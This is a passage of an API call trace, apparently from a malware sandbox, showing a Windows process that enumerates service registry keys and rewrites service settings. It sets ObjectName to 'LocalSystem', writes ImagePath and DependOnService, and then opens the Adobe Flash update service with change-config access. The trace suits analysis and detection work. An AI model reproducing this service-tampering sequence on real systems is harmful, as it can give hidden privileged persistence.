RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0256.397] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0256.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0256.397] RegCloseKey (hKey=0x154) returned 0x0 [0256.397] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.397] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0256.397] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.398] RegOpenKeyExW (in: hKey=0x160, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0256.398] RegCloseKey (hKey=0x160) returned 0x0 [0256.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0256.402] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0256.402] RegCloseKey (hKey=0x154) returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.402] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.403] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.403] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e708b8*, cbData=0x195 | out: lpData=0x1e708b8*) returned 0x0 [0256.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0256.404] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0256.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.404] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.405] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.405] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0256.405] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.405] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.405] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.406] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0256.406] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.406] RegEnumValueA (in: hKey=0x164, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.407] RegEnumValueA (in: hKey=0x164, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.407] RegEnumValueA (in: hKey=0x164, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.407] RegEnumValueA (in: hKey=0x164, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.407] RegEnumValueA (in: hKey=0x164, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.407] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0256.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0256.407] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpDst=0x1de5fb0, nSize=0x41 | out: lpDst="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x40 [0256.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0256.407] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0256.407] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0256.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0256.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4f8 [0256.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0256.407] LocalFree (hMem=0x5d3a08) returned 0x0 [0256.407] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0256.407] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x5d6df8 